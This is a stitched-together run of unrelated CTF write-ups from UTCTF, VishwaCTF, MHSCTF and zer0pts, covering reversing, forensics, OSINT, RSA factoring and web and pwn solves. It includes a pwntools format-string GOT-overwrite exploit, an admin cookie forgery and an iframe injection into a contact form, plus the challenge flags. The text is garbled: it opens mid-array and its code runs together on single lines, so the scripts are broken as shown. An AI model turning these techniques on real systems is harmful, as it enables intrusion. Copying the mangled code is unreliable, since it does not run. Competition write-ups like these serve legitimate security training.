0x9A, 0x3C, 0xDB, 0xAF, 0x69, 0xF1, 0x7F, 0x7C, 0x6E, 0x25, 0x81, 0xB9, 0x2F, 0x7B, 0xAB, 0x25, 0x12, 0x8F, 0xD2, 0x10, 0x0B, 0x7A, 0x68, 0xDB, 0xF7, 0x3D, 0x03, 0xD3, 0xA5, 0x10, 0x7E, 0xDA, 0xD3, 0xB0, 0x56, 0x76, 0xEE, 0xE2, 0x40, 0xE6, 0x8C, 0x28, 0x02, 0x96, 0xE5, 0x2B, 0x69, 0x86, 0x87, 0x3C, 0x54, 0xCE, 0xF3, 0xCB, 0xC1, 0x81, 0x8D, 0x58, 0x0D, 0x8C, 0x8B, 0xC1, 0x11, 0x30, 0x2F, 0x4A, 0x5E, 0x69, 0x03, 0xEF, 0x2D, 0x32, 0xB1, 0x1A, 0x56, 0x13, 0xEF, 0xBA, 0x50, 0x76, 0x93, 0xDE, 0x80, 0x60, 0xFB, 0x8C, 0x44, 0xAD, 0x63, 0xF6, 0x0A, 0xF0, 0xF6, 0xDB, 0x6F, 0xDD, 0xE6, 0xD5, 0x18, 0x6E, 0xF7, 0x81, 0x76, 0x36, 0x7D, 0xF2, 0x61, 0xFA, 0x06, 0xBE, 0x30, 0x79, 0xB6, 0xC8, 0x0C, 0x8A, 0xDB, 0xA4, 0x46, 0xC9, 0xE2, 0x20, 0x99, 0xEE, 0x4B, 0xFE, 0x54, 0xA9, 0x9A, 0x3C, 0xDB, 0xAF, 0x69, 0xF1, 0x7F, 0x7C, 0x6E, 0x25, 0x81, 0xB9, 0x2F, 0x7B, 0xAB, 0x25, 0x12, 0x8F, 0xD2, 0x10, 0x0B, 0x7A, 0x5E, 0x07, 0xD6, 0xFD, 0xC6, 0x02, 0xB0, 0xF9, 0xB9, 0x9F, 0x6E, 0xA2, 0x4C, 0x39, 0xE6, 0x58, 0x35, 0x99, 0x2F, 0xAA, 0xC4, 0x00, 0x26, 0x4C, 0x52, 0x44, 0x9B, 0xC4, 0x09, 0xCF, 0x4E, 0xFA, 0xE4, 0xDC, 0xD6, 0xD3, 0x13, 0xAF, 0x71, 0x55, 0x95, 0x96, 0xD3, 0x00, 0x9C, 0x12, 0xD0, 0x25, 0x30, 0x18, 0x42, 0xD8, 0xC7, 0xF8, 0x88, 0xC2, 0x85, 0x03, 0x33, 0xE9, 0x1A, 0x9B, 0xDA, 0x68, 0xFF, 0xFD, 0xFF, 0x4B, 0x07, 0xA9, 0xD9, 0x73, 0xFD, 0x1C, 0x3A, 0x6B, 0xE4, 0x43, 0x85, 0x1B, 0xC1, 0x3E, 0x82, 0xC4, 0xAF, 0x94, 0xC8, 0x83, 0x25, 0x24, 0x46, 0x94, 0xE3, 0x52, 0xAA, 0x31, 0x3F, 0xFF, 0xD0, 0x18, 0xD2, 0x22, 0x30, 0x20, 0xBE, 0x85, 0x67, 0x0D, 0x93, 0xF5, 0x65, 0xB6, 0x3D, 0xF5, 0x4A, 0x9C, 0xE3, 0xED, 0x2C, 0xDF, 0x63, 0x47, 0xA6, 0x1D, 0xF0, 0x16, 0x93, 0x8C, 0xB2, 0x94, 0x18, 0x52, 0x28, 0x25, 0x62, 0xCC, 0x3D, 0x81, 0x3E, 0x8B, 0xF1, 0x70, 0x5D, 0x04, 0x80, 0xA7, 0xA0, 0x08, 0xFF, 0xA2, 0x47, 0x55, 0x01, 0xD7, 0xC5, 0x16, 0x11, 0x65, 0xA7, 0xFB, 0x63, 0x5C, 0xA7, 0x3D, 0x00, 0xD4, 0xF2, 0x8B, 0x5F, 0x57, 0x3B, 0x16, 0xEE, 0xA5, 0x6E, 0x9E, 0x45, 0x79, 0xD7, 0x7E, 0x56, 0x1C, 0x32, 0xAA, 0x68, 0x18, 0x9D, 0x97, 0x69, 0xFA, 0x17, 0x53, 0xA4, 0xD0, 0xEF, 0x23, 0x16, 0x1B, 0x5B, 0x7C, 0x6A, 0x8D, 0x5B, 0x28, 0x75, 0x43, 0xFD, 0x74, 0xE1, 0x6B, 0x3B, 0xF3, 0x13, 0xD7, 0x1A, 0xA1, 0x87, 0xC2, 0x4C, 0xDD, 0x72, 0x8A, 0x7B, 0x1E, 0xE0, 0xB9, 0xA8, 0x79, 0x9F, 0x32, 0x45, 0x3A, 0x47, 0x8C, 0x91, 0x22, 0xF8, 0xB8, 0x3C, 0xEE, 0x68, 0xE1, 0x6D, 0xB1, 0x8F, 0x49, 0x3A, 0xC8, 0x1B, 0xC1, 0xD4, 0x74, 0x59, 0x4B, 0x5D, 0xF4, 0x56, 0x49, 0x99, 0xCB, 0xBF, 0xEA, 0x80, 0x17, 0x0B, 0xA0, 0x68, 0xDC, 0xF9, 0x61, 0xD9, 0x91, 0x46, 0x25, 0xF3, 0xBE, 0x95, 0x1B, 0x2C, 0x1F, 0xE1, 0x63, 0xBA, 0xE0, 0xF8, 0x15, 0x6C, 0x24, 0x4A, 0x44, 0xDC, 0x15, 0x36, 0x42, 0x04, 0xA8, 0x0F, 0xE8, 0x0E, 0x90, 0x39, 0x45, 0x5C, 0xC1, 0x60, 0x82, 0x81, 0x82, 0x0F, 0xE2, 0xB2, 0x4F, 0x1E, 0x52, 0x33, 0xAD, 0xE6, 0xAF, 0x1D, 0xD5, 0xE9, 0x17, 0x87, 0x06, 0x8A, 0x3C, 0x60, 0xE9, 0x71, 0x2A, 0x7A, 0xBE, 0xB6, 0xA6, 0x7F, 0x51, 0x8A, 0x40, 0x72, 0x3C, 0x1B, 0x89, 0xC1, 0x1D, 0x60, 0x70, 0xFE, 0x5F, 0x93, 0x89, 0xEB, 0xF9, 0x7E, 0xB7, 0x02, 0x57, 0x59, 0x3D, 0xA0, 0x6F, 0x68, 0x2A, 0x3D, 0xDD, 0xA5, 0x4A, 0x9D, 0x26, 0x0D, 0x4F, 0xC5, 0x14, 0xF6, 0x45, 0x23, 0x7F, 0x5C, 0xA7, 0x4B, 0x08, 0xF8, 0xDA, 0x61, 0xA6, 0x96, 0xA2, 0x96, 0xD2, 0x24, 0xF2, 0x85, 0xC6, 0x7B, 0xEE, 0x93, 0xC3, 0x0F, 0x8A, 0x30, 0x91, 0x57, 0xF0, 0xDA, 0xA3, 0x5D, 0xC5, 0xB8, 0x7E, 0x41, 0x0B, 0x78, 0x63, 0x0A, 0x09, 0xCF, 0xC7, 0x96, 0xA2, 0x96, 0xD2, 0x24, 0xF2, 0x85, 0xC6, 0x7B, 0xEE, 0x93, 0xC3, 0x0F, 0x8A, 0x30, 0x91, 0x57, 0xF0, 0xDA, 0xA3, 0x5D, 0xC5, 0xB8, 0x7E, 0x41, 0x0B, 0x78, 0x63, 0x0A, 0x09, 0xCF, 0xC7, 0x96, 0xA2, 0x96, 0xD2, 0x24, 0xF2, 0x85, 0xC6, 0x7B, 0xEE, 0x93, 0xC3, 0x0F, 0x8A, 0x30, 0x91, 0x57, 0xF0, 0xDA, 0xA3, 0x5D, 0xC5, 0xB8, 0x7E, 0x41, 0x0B, 0x78, 0x63, 0x0A, 0x09, 0xCF, 0xC7, 0x96, 0xA2, 0x96, 0xD2, 0x24, 0xF2, 0x85, 0xC6, 0x7B, 0xEE, 0x93, 0xC3, 0x0F, 0x8A, 0x30, 0x91, 0x57, 0xF0, 0xDA, 0xA3, 0x5D, 0xC5, 0xB8, 0x7E, 0x41, 0x0B, 0x78, 0x63, 0x0A, 0x09, 0xCF, 0xC7, 0x96, 0xA2, 0x96, 0xD2, 0x24, 0xF2, 0x85, 0xC6, 0x7B, 0xEE, 0x93, 0xC3, 0x0F, 0x8A, 0x30, 0x91, 0x57, 0xF0, 0xDA, 0xA3, 0x5D, 0xC5, 0xB8, 0x7E, 0x41, 0x0B, 0x78, 0x63, 0x0A, 0x09, 0xCF, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
x = 1
s = []
for i in range(32): xx = [] for j in range(32): xx.append(l[32*i+j]) s.append(xx)
hprov = CryptAcquireContext()
Algid = 0x0000800c
import stringimport sys
w = ''x = 0while True: for i in string.printable: A = 0 for j in string.printable: hHash = CryptCreateHash(hprov, Algid) CryptHashData(hHash, f'{i}{j}'.encode())
dwParam = 2
r = CryptGetHashParam(hHash, dwParam)
if bytes(s[x]) == r: w += f'{i}{j}' A = 1 x += 1 CryptDestroyHash(hHash) break
CryptDestroyHash(hHash) if A: break print(w) if '}' in w: break
# zer0pts{m0d1fy1ng_PE_1mp0rts_1s_4n_34sy_0bfusc4t10n}``` |
The problem presents a [chosen plaintext attack](https://en.wikipedia.org/wiki/Chosen-plaintext_attack) , we can just sent it the entire set of ascii printable characters and return the encrypted value for each character.
```./the_encoder.out Welcome to the encoderPlease give me a plain text of max 40 characters0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~1385 1386 1387 1388 1389 1390 1391 1392 1393 1394 1395 1396 1397 1398 1399 1400 1401 1402 1403 1404 1405 1406 1407 1408 1409 1410 1411 1412 1413 1414 1415 1416 1417 1418 1419 1420 1421 1422 1423 ```Using this we can write a short script to decode the encrypted message.
```pythonplaintext = '0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~'ciphertext =[1385,1386,1387,1388,1389,1390,1391,1392,1393,1394,1395,1396,1397,1398,1399,1400,1401,1402,1403,1404,1405,1406,1407,1408,1409,1410,1411,1412,1413,1414,1415,1416,1417,1418,1419,1420,1421,1422,1423,1424,1425,1426,1427,1428,1429,1430,1431,1432,1433,1434,1435,1436,1437,1438,1439,1440,1441,1442,1443,1444,1445,1446,1447,1448,1449,1450,1451,1452,1453,1454,1455,1456,1457,1458,1459,1460,1461,1462]msg = [1412,1404,1421,1407,1460,1452,1386,1414,1449,1445,1388,1432,1388,1415,1436,1385,1405,1388,1451,1432,1386,1388,1388,1392,1462]
d = ''for c in msg: d = d+(plaintext[ciphertext.index(c)])
print(d)```Running this, we return the flag
``python3 encoder.py KCTF{s1Mpl3_3Nc0D3r_1337}`` |
### Name: SoForgetful### Category: Forensics### Level: easy

In this challenge there is a pcap file and I want to find the password in it.
When I opened the file I try protocol hirarchy (statistics -->protocol hirarchy) and I noticed that there are HTML form URL encoded

checked it and got the password base64 encoded decode it and got the flag

## flag: vishwactf{KN1Z6PXVy9} |
# UTCTF 2022
## Smol Overflow
> You can have a little overflow, as a treat> > By Tristan (@trab on discord)>> `nc pwn.utctf.live 5004` >> [`smol`](smol)
Tags: _pwn_ _x86-64_ _bof_ _format-string_ _got-overwrite_ _remote-shell_
## Summary
Basic format-string GOT overwrite exploit with BOF to write out format string. _win_ function included!
## Analysis
### Checksec
``` Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)```
Partial RELRO + No PIE = GOT overwrite or ROP if you have BOF and canary.
### Ghidra Decompile
```cundefined8 main(void){ char cVar1; int iVar2; ulong uVar3; char *pcVar4; long in_FS_OFFSET; byte bVar5; char local_158 [111]; undefined4 uStack233; undefined2 uStack229; char local_78 [104]; long local_10; bVar5 = 0; local_10 = *(long *)(in_FS_OFFSET + 0x28); puts("What kind of data do you have?"); gets(local_158); iVar2 = strcmp(local_158,"big data"); if (iVar2 == 0) { uVar3 = 0xffffffffffffffff; pcVar4 = (char *)((long)&uStack233 + 1); do { if (uVar3 == 0) break; uVar3 = uVar3 - 1; cVar1 = *pcVar4; pcVar4 = pcVar4 + (ulong)bVar5 * -2 + 1; } while (cVar1 != '\0'); *(undefined4 *)((long)&uStack233 + ~uVar3) = 0x30322025; *(undefined2 *)((long)&uStack229 + ~uVar3) = 0x73; } else { iVar2 = strcmp(local_158,"smol data"); if (iVar2 == 0) { uVar3 = 0xffffffffffffffff; pcVar4 = (char *)((long)&uStack233 + 1); do { if (uVar3 == 0) break; uVar3 = uVar3 - 1; cVar1 = *pcVar4; pcVar4 = pcVar4 + (ulong)bVar5 * -2 + 1; } while (cVar1 != '\0'); *(undefined4 *)((long)&uStack233 + ~uVar3) = 0x73352025; *(undefined *)((long)&uStack229 + ~uVar3) = 0; } else { puts("Error"); } } puts("Give me your data"); gets(local_78); printf((char *)((long)&uStack233 + 1),local_78); putchar(10); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { __stack_chk_fail(); } return 0;}```
> _smol_ this isn't. Most "smol" challenges are a few lines. At least the solve is "smol".>> Not shown is the win function `get_flag`. Clearly the objective is to execute that.
There's a few `gets` here we can exploit as well as `printf`.
The first prompt will change the format string if you enter `big data` or `smol data`. None of this is important.
``` char local_158 [111]; undefined4 uStack233; undefined2 uStack229; char local_78 [104];```
Above is how the variables are stacked up in the stack. The format string is at `uStack233 + 1`:
``` printf((char *)((long)&uStack233 + 1),local_78);```
`gets(local_158);` can be used to overwrite the format string; just send `0x158 - 233 + 1` of garbage followed by your format string. It's that easy. Why `0x158` and `233`? Look at the variables above. `local_158` is `0x158` bytes from the end of the stack frame. `uStack233` is `233` (decimal) bytes from the end of the stack frame (Ghidra uses an underscore for hex).
The format string just needs to replace `putchar` with `get_flag` so that on `putchar(10);` invocation we get a shell.
## Exploit
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./smol',checksec=False)
if args.REMOTE: p = remote('pwn.utctf.live', 5004)else: p = process(binary.path)
offset = (0x158 - 233 + 1) // 8 + 6
payload = b''payload += (0x158 - 233 + 1) * b'A'payload += fmtstr_payload(offset,{binary.got.putchar:binary.sym.get_flag})
assert(len(payload) < (0x158 - 0x78))
p.sendlineafter(b'have?\n',payload)p.sendlineafter(b'data\n',b'')p.interactive()```
The `assert` is there to make sure our payload does not allow the second `gets` to _get_ in our way, if it did, we'd have to make sure to overwrite the rest of our payload correctly. IOW, just keep it short.
```bash# ./exploit.py REMOTE=1[+] Opening connection to pwn.utctf.live on port 5004: Done[*] Switching to interactive mode$ cat flag.txtutflag{just_a_little_salami15983350}``` |
# MHSCTF - Web Exploit Part
## James Harold Japp (10 pts)
> I need to be able to log in to this website. Can you tell me how to do it? mhsctf-jamesharoldjapp.0xmmalik.repl.co (you may need to wait for the site to wake up)
I entered the app and inspected its source code:
```html<body> <div class="w3-content"> <label for="pwd">Password:</label> <input type="password" id="pwd" name="pwd"> <button onclick="validatepwd()" type="button">Submit</button>
<script> function validatepwd() { var x = document.getElementById("pwd").value; if (x == "this_is_a_really_secure_password") { window.open("/weirdpage.php?pwd=doublepassword") } } </script> </div></body>```
If you enter the suspect password `this_is_a_really_secure_password` and hit the `Submit` button, it opens a new page saying a 404 error.
However, this is a trick, as when you inspect the source code of the 404 page you see this:
```html<html><head><title>404 Not Found</title>... </head><body><h1>Not Found</h1>The requested resource /weirdpage.php?pwd=doublepassword was not found on this server.</body></html>```
The requested resource /weirdpage.php?pwd=doublepassword was not found on this server.
You find the flag.
**Flag: `flag{1n$p3ct0r_g3n3r@l}`**
## new site who dis? (20 pts)
> I just started making my new website. Can you pen-test it and see if you can get the super-secret flag? mhsctf-newsitewhodis.0xmmalik.repl.co (you may need to wait for the site to wake up)
The site features a title and a link to supposed flag, but the flag page says that only the Admins can see it.
Using developer tool, Network tool in particular, I found a cookie named `user`, whose value was `basic`.
I used cookie editing tool to change the value to `admin`, and clicked the link to the flag and saw this result:
```textHello there, Admin! Here is your super-secret flag: flag{1t$-@_m3_Mari0}```
**Flag: `flag{1t$-@_m3_Mari0}`**
## Bend (25 pts)
> I found this weird website that says it can give me a cool flag, but I can't seem to get it! What am I doing wrong? mhsctf-bend.0xmmalik.repl.co (you may need to wait for the site to wake up)
The website has a link to flag that instantly redirects to the music video of Rick Astley's "Never Gonna Give You Up."
In order to see what causes the redirection, I opened PowerShell and used `wget` command:
```powershellPS C:\Users\USER> wget https://mhsctf-bend.0xmmalik.repl.co/flag
StatusCode : 200StatusDescription : OKContent : <meta http-equiv = "refresh" content = "0; url = https://www.youtube.com/watch?v=dQw4w9WgXcQ" />
RawContent : HTTP/1.1 200 OK Access-Control-Allow-Origin: * Expect-Ct: max-age=2592000, report-uri="https://sentry.repl.it/api/10/security/?sentry_key=615192fd 532445bfbbbe966cd7131791" Replit-Cluster: hacker S...Forms : {}Headers : {[Access-Control-Allow-Origin, *], [Expect-Ct, max-age=2592000, report-uri="https://sentry.repl.it/ api/10/security/?sentry_key=615192fd532445bfbbbe966cd7131791"], [Replit-Cluster, hacker], [Strict-T ransport-Security, max-age=6343441; includeSubDomains]...}Images : {}InputFields : {}Links : {}ParsedHtml : mshtml.HTMLDocumentClassRawContentLength : 124```
Flag: `flag{g3t_cur1ed}`
## Piece It Together (25 pts)
> My friend dared me to find the secret password to their website, but their code is so messy! It's impossible to see what's what! Can you help me? mhsctf-pieceittogether.0xmmalik.repl.co (you may need to wait for the site to wake up)
Most of the source code is cloaked in the series of HTML Entity codes. Decoding it first time leads to new set of HTML Entity codes, so it needs to be decoded again.
If we decode it (twice):
```html<noscript> <head> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=Lato:wght@300&family=Exo+2&display=swap" rel="stylesheet"> <link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css"> <link rel="stylesheet" href="https://mhsctf-webexploitdata.0xmmalik.repl.co/style.css"> </head> <body> <div class="w3-content"> <h2>Login</h2> <script>var _0xa8fe=["4w","d}","g{","j","}","1g","w0","r","al","s","h7","ag{","fl","m3t","value","pwd","getElementById","Yep, that's the flag!","Sorry, that's not the flag!"];function checkpwd(){ if(document[_0xa8fe[16]](_0xa8fe[15])[_0xa8fe[14]]== (_0xa8fe[12]+ _0xa8fe[11]+ _0xa8fe[3]+ _0xa8fe[5]+ _0xa8fe[9]+ _0xa8fe[0]+ _0xa8fe[4])) {alert(_0xa8fe[17])} else {alert(_0xa8fe[18])}} </script>
<label for="pwd">Password:</label> <input type="text" id="pwd" name="pwd"> <button onclick="checkpwd()">Submit</button> </div> </body>```
To simplify the `<script></script>` portion further:
```jsvar _0xa8fe=["4w", // 0 "d}", // 1 "g{", // 2 "j", // 3 "}", // 4 "1g", // 5 "w0", // 6 "r", // 7 "al", // 8 "s", // 9 "h7", // 10 "ag{",// 11 "fl", // 12 "m3t",// 13 "value",// 14 "pwd",// 15 "getElementById", // 16 "Yep, that's the flag!", // 17 "Sorry, that's not the flag!"] // 18;function checkpwd(){ if(document["getElementById"]("pwd")["value"]== ("fl"+ "ag{"+"j"+"1g"+"s"+"4w"+"}") {alert(_0xa8fe[17])} // "Yep, that's the flag!" else {alert(_0xa8fe[18])}}// "Sorry, that's not the flag!"
```
**Flag: `flag{j1gs4w}`**
## Cuppa Joe (30 pts)
> A new coffee shop is opening up in my neihborhood! It's called Cuppa Joe and I can't wait to check it out! It would ahem be a real shame if someone were to ahem hack their website and, hypothetically, get their secret flag. mhsctf-cuppajoe.0xmmalik.repl.co (you may need to wait for the site to wake up)
The website is composed of a sitemap with unfinished links, greeting message, and a form to leave our message. When submitted, the form redirects to a Thank you note that displays what I entered.
One of the links in the sitemap is named `flag.php`, but clicking it does nothing. When I add `flag.php` to the address bar, it simply says:
> I don't know how you got here, please leave.
So it must need some privilege or a `POST` input.
I decided to exploit the contact form, hoping to escalate privilege by inserting an `iframe` tag in it:
```html<iframe src="flag.php" width=1100 height=100>```
This input actually created an `iframe` to `flag.php` that revealed the flag.
> Here's a flag: flag{c0ff33_be4nz}
**Flag: `flag{c0ff33_be4nz}`** |
After reading carefully the description and the hints (1), I started looking for any files hiding in the image.
I found some files so I extracted them.

We now have a ZIP file and a TXT file. The ZIP file isn't important because it contains a copy of the TXT file.

The TXT file contains a list of PokΓ©mons.

I had no idea of what to do... Then I read again the first hint (1) and I decided to search on the Internet "cloak factory forensics" and I clicked on the first [result](https://www.hackingarticles.in/cloakify-factory-a-data-exfiltration-tool-uses-text-based-steganography/), which talks about a tool called [CloakifyFactory](https://github.com/TryCatchHCF/Cloakify). After reading the article I thought that probably it's the same program used on the list that I found.


Here I used the option 6, which is the pokemonGo cipher.

And then I got the flag:

Flag: **CTF{p1k@chu}**
-----
(1): Hint 1 - TJβs Cloak was made in a Factory that hides many things in Plain Sight. | Hint 2 - Turns out TJ's poster can also hide items.. |
### Name: Epistemus### Category: Forensics
#### Description:
 This challenge was medium because its new idea for me. Ok lets start the challenge

in this challenge I have this image.. tried steghide..strings..binwalk nothing work, when I go back to the image I noticed there is link in the bottom of the image. Open it and got rar and txt files.. tried to open the rar but there is password required tried to crack it but nothing worked.
After some searching about the text file I found thisand using twitter secret message online decoderI got the password and extract the files from it, and there is alot of files.

```bash$ cat *|grep -i flag```
#### flag: `vishwactf{th1ng$_a43_n0t_wh4t_th3y_4lw4y$_$33m}` |
# UTCTF 2022 Baby Shark (Category: Beginner)The challenge is the following,

Here, we are given the file [baby_shark1.pcap](./baby_shark1.pcap). The challenge description says `I think someone downloaded something from an http site.`, so we will look at the http traffic.
Opening this up on Wireshark shows the following,

If we go to `File > Export Objects > HTTP`, and click on `Preview` for packet 15, we can see the flag,

Therefore, the flag is,
`utflag{eye_c_what_u_c}` |
### Name: Keep the flag high### Category: Forensics
#### Description:

In this challenge there is image .bmb but if I try to open it there is error.try to show the header using xxd to determine the file type I noticed that there is IHDR and this refer to the png image.
Fixed the header and I got QR code

scan it and got google drive link open it and download the image... try every thing on it but got nothing lol!but when I go back to the challenge description it says that we have to rotate somthing.. after some searching I got it, do strings on image and got the string in the bottom

now I should to rotate it, search about it in this cipher identifierand got it, its rot47


## flag:VishwaCTF{f0r3nsic5_is_t3di0us} |
**Original Wirteup :** [https://github.com/Khonsu-CTF/2022-VishwaCTF/tree/main/Caught%20Very%20Easily](https://github.com/Khonsu-CTF/2022-VishwaCTF/tree/main/Caught%20Very%20Easily)# OSINT - Caught Very Easily (42 solves / 482 points)**Description :** *It was a strange request from Ahmed Mansoor, he asked us to investigate a lead that promised the "secrets" of the prison he was in. To our surprise it was an attempt to JAILBREAK Mansoor!!*
**Flag format :** *vishwaCTF{EDB-ID_Datewith-}*
### Write-up :So here, we have an **OSINT challenge** with only a short description to start our reasearch so after reading it carefully, I tried to identify the terms that could be of interest whether directly or with some possible interpretation. From there, we can get the following list :- Ahmed Mansoor- Jailbreak- EDB-ID (from the flag format)
First of all, we'll start with the clue we got from the flag format. You might not know to what *EDB-ID* refers to but with a quick research, you'll find that it's an ID matching an exploit in [Exploit Database](https://www.exploit-db.com/). (I invite you to check out this site if you don't know it already)
So now that we know what we're looking for, let's start to check the clues from the description. You might already know the whole story or have heard about it but anyway, you'll find it quickly once you googled *Ahmed Mansoor* : the **Pegasus Case**. In summary, this worldwide drama refers to a spyware called Pegasus and created by the NSO Group, an Israeli company working with governments agencies. The spyware was able to infiltrate mobile phones giving them access to pretty much everything : location data, photos, passwords, communications etc and the drama occurs in 2016 when it has been made public that NSO used it for spying illegally on journalists, activists and politicians for their clients and and **Ahmed Mansoor** was one of these targets.
Then, you can probably remember we also add a clue about **jailbreaking** which can confirm that we're on the right track with the Pegasus spyware. A few more research later, you'll find Pegasus on three different CVEs called the **Trident Exploit Chain**. Clicking on the first link with such search on Google will give you the three following CVEs :`/!\Missing Screenshot /!\`
With the exact CVEs, we can easily find the exploit we were looking on the **Exploit Database** giving us the following results with all the information we needed :`/!\Missing Screenshot /!\`(You can find also find it by following this link : https://www.exploit-db.com/exploits/44836)
Finally, we got our flag : `vishwaCTF{44836-2018-06-05}`
**Note** : Depending on what terms you looked for, the search engine you used or your location, you could have also go a lot quicker by finding articles giving you all the information you needed directly such as [this one](https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/) for instance. I list it only now because I wanted to share exactly how I actually solved it and I just stumbled upon this article later, while writing this writeup ^^') |
**Original Writeup :** [https://github.com/Khonsu-CTF/2022-VishwaCTF/tree/main/Money%20Money%20Money](https://github.com/Khonsu-CTF/2022-VishwaCTF/tree/main/Money%20Money%20Money)# OSINT - Money Money Money (12 solves / 499 points)**Description :** *I have some money hidden for you inside the zip folder. It's all yours but you need to find how I got this money.*
**Hint** (given because of the low number of solves) : *If you have reached the transactions site, maybe try to find a conversation in the correct transaction.*
**Given Files :** *money.zip* and *richies.jpeg*
### Write-up :From the description, it seems like our goal lies in the provided zip archive but as we could have expected, it wasn't that easy since it was actually password protected :`/!\Missing screenshot/!\`
So we do have another image inside this archive but we can't access it for the moment. First reflex in such situation was to try to crack the password using some **dictionnary attack**, I tried for instance to use **john-the-ripper** with the famous **rockyou** wordlist but unfortunately, no result...`/!\Missing screenshot/!\`
Now that we checked the zip archive and eliminated the obvious, let's have a look at the second provided file to see what this image has for us. I checked first the content, metadata etc before opening it and found a hidden zip archive inside it.`/!\Missing screenshot/!\` Once this zip extracted, it's **not** password protected this time and it has what looks like a logo inside it :`/!\Missing screenshot/!\` The previous check on this image weren't useful here so the next step was to try to find where it came from, to what it was related. By using some search engine that allows to search by image (Google, Yandex etc), I could find that is in fact the logo of **Etherscan** which basically allows you to explore the Ethereum blockchain. The new question being : what are we going to look for here ??
Maybe it's time to open the image that we've been given to see what is in it. Once opened, we obtain the following code :`/!\Missing screenshot/!\` At first, I had no clue what it could be until I realized it was packed by 1 to 4 occurences of the same number each time and remembered the good **old phone layout** that looked like this :`/!\Missing screenshot/!\` In case you didn't know that, each number is linked to 3 to 4 letters and by clicking on the same number multiple times in a row, you could access theses differents letters. For instance, the *1* is linked to *a*, *b* and *c* ; click once for the *a*, twice for the *b* etc. You can quickly decode manually or by using some online tool. Anyway, you'll obtain the following plaintext : <center>IN THE LAST YEAR I INVESTED IN HUNDRED DOGECOIN GOLD AND GOT HUGE PROFITS HAVE A LOOK AT SOME OF MY TRANSACTIONS IF YOU ARE STUCK YOU HAVE EVERYTHING YOU NEED LOOK CLOSELY</center>
So, we got some useful information here : we'll be focusing on the Dogecoin Gold looking for some transactions done last year for a hundred Dogecoins Gold. Let's also keep in mind the hint that were given initially telling us to try to find a conversation linked to some transaction.
Going back to Etherscan, let's select the right token :`/!\Missing screenshot/!\`
As you can see below, out of 1048 transactions found, there were only 5 transactions done during the last year and only three of them for an amount of 100 DOGEG.`/!\Missing screenshot/!\`
Opening each of them, we can see there is a comment section that could contain the *conversation* we're looking for and as expected, we can see in that in one of them :`/!\Missing screenshot/!\`
There are two importants things we can extract from this conversation :1. The password of our initial zip archive looks like this : `<One (first or last) Name>_<Another (first or last) Name>`2. Some leaks and an offshore company in Barbados are mentionned
The second point might be the start to find the identities of the two people we're looking for so we can unlock our archive. After doing some research, I found a very interesting site from the **International Consortium of Investigative Journalists (ICIJ)** called [Offshore Leaks](https://offshoreleaks.icij.org/) which is a database gathering all the *"offshore companies, foundations and trusts from the Pandora Papers, Paradise Papers, Bahamas Leaks, Panama Papers and Offshore Leaks investigations"*. (If you don't know about that, feel free to read more about these scandals even though it's not relevant for this challenge)`/!\Missing screenshot/!\`
After doing some research on this database, I couldn't find anything that seemed correct because I narrowed down my research a bit too much at the beginning and then I remembered one thing from the conversation, a word that was surprisingly in uppercase, you had probably noticed it already... Using this to specify our research, we found only one offshore company whose name contains *Cryptocurrency* and it's located in the Barbados !`/!\Missing screenshot/!\`
Let's click on it to see what it has for us, maybe finally some names... And here they are, this company is owned by two people called *Gabriel Esper ABED* and *Oliver Louis GALE* :`/!\Missing screenshot/!\`
So now the good new is that we found the password for our zip. After various combinations tried (uppercase/lowercase, first name/last name), the password is `LOUIS_ESPER`. Once the zip archive unlocked, we could extract the following image without a directly visible flag...`/!\Missing screenshot/!\`
...But ! After trying some basic stego techniques/tools, I discovered that **steghide**, a stego tool supporting JPEG, BMP, WAV and AU files, had been used to hide data inside this image with an empty password. I used **stegseek** which is the fastest steghide cracker to discover that and recover the hidden data :`/!\Missing screenshot/!\`
**Flag :** `VishwaCTF{d0nt_l00k_@_my_m0n3y$}` |
description: `I invented Anti-Fermat Key Generation for RSA cipher since I'm scared of the Fermat's Factorization Method.`
#### files: 1. task.py```pythonfrom Crypto.Util.number import isPrime, getStrongPrimefrom gmpy import next_primefrom secret import flag
# Anti-Fermat Key Generationp = getStrongPrime(1024)q = next_prime(p ^ ((1<<1024)-1))n = p * qe = 65537
# Encryptionm = int.from_bytes(flag, 'big')assert m < nc = pow(m, e, n)
print('n = {}'.format(hex(n)))print('c = {}'.format(hex(c)))```
2. output.txt_(the output of the task.py)_
---
#### What we know- $n$ ($=p\times{}q$)- $p$ is a strong prime- $n = \left(\dfrac{p+q}{2}\right)^2 - \left(\dfrac{p-q}{2}\right)^2$ ([Fermat's factorization method](https://en.wikipedia.org/wiki/Fermat's_factorization_method))- $m < n$
#### By experimenting, I realized that the value of `p - (q^((1<<1024)-1)) - 1`and `p + q - (1<<1024)` are the same and both were small. - $p+q \approx 1\ll{}1024$
Thus, using the Fermat's factorization method ($n = \left((p+q)/2\right)^2 - \left((p-q)/2\right)^2$), we get the following approximation.$$p \approx \dfrac{(1\ll{}1024) + \sqrt{(1\ll{}1024)^2 - 4n}}{2}$$
After checking prime numbers near the approximation, using the `next_prime` function, we get the actual `p` and `q`.
|
[Original writeup](https://github.com/HJMsan/CTF-writeups/tree/main/vishwaCTF2022/Confusion) (https://github.com/HJMsan/CTF-writeups/tree/main/vishwaCTF2022/Confusion) |
